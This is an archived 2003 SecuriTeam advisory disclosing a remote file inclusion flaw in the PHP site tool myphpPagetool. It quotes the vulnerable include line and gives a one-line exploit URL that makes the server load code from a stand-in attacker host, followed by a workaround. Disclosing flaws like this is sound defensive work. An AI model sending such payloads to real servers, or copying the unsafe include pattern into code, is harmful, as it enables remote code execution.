[UNIX] Vulnerability in myphpPagetool Enables Arbitrary Code Execution

From: support@securiteam.com
Date: 03/02/03

  • Next message: support@securiteam.com: "[NEWS] Cross Site Scripting Trick May Fool Shoutcast Admins"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 2 Mar 2003 23:51:57 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Vulnerability in myphpPagetool Enables Arbitrary Code Execution
    ------------------------------------------------------------------------

    SUMMARY

     <http://myphppagetool.sourceforge.net> myphpPagetool is a complete
    package to drive your Website.
    It is completely written using the php script language and uses the mysql
    database to store and manage all pages, images, layout and users/groups.

    A vulnerability in the program allows remote users to execute arbitrary
    commands on the server.

    DETAILS

    Vulnerable versions:
     * 0.4.3-1 and below

    The vulnerability is caused by using the administrators help files located
    at:
    /doc/admin
    and titled:
    index.php , help1.php , help2.php, ... , help9.php.

    The files contain this unsafe code:
    "----------------------------------------
    <?php
    include ($ptinclude . "/pt_config.inc");
    [...]
    ----------------------------------------"
    Therefore allowing a remote user to include his/her own pt_config.inc on
    their site.

    Exploit code:
    If the user has set regisers_global = ON then the following attack is
    possible:
    http://www.example.com/myphpPagetool.directory/doc/admin/index.php?ptinclude=http://attackersaddress
    While the attacker prepares his/her own:
    http://attackersaddress/pt_config.inc

    Solution:
    Search <http://www.phpsecure.org> phpsecure.org for their security patch.
    The site is French but it is very intuitive: simply search for
    "phpmyPagetool".

    Workaround:
    Replace in each file the line:
    include ($ptinclude. "/pt_config.inc");
    With:
    if (file_exists($ptinclude . "/pt_config.inc")){
    include ($ptinclude . "/pt_config.inc");
    }

    ADDITIONAL INFORMATION

    Information was provided by <mailto:frog-man@frog-man.org > frog man

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • SecurityFocus Microsoft Newsletter #165
      ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
      (Focus-Microsoft)
    • SecurityFocus Microsoft Newsletter #174
      ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
      (Focus-Microsoft)
    • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
      (Securiteam)
    • SecurityFocus Microsoft Newsletter #171
      ... Better Management for Network Security ... GoodTech Telnet Server Remote Denial Of Service Vulnerabilit... ... ASPApp PortalAPP Remote User Database Access Vulnerability ...
      (Focus-Microsoft)
    • SecurityFocus Microsoft Newsletter #160
      ... MICROSOFT VULNERABILITY SUMMARY ... Geeklog Forgot Password SQL Injection Vulnerability ... Atrium Software Mercur Mailserver IMAP AUTH Remote Buffer Ov... ... Sun Java Virtual Machine Slash Path Security Model Circumven... ...
      (Focus-Microsoft)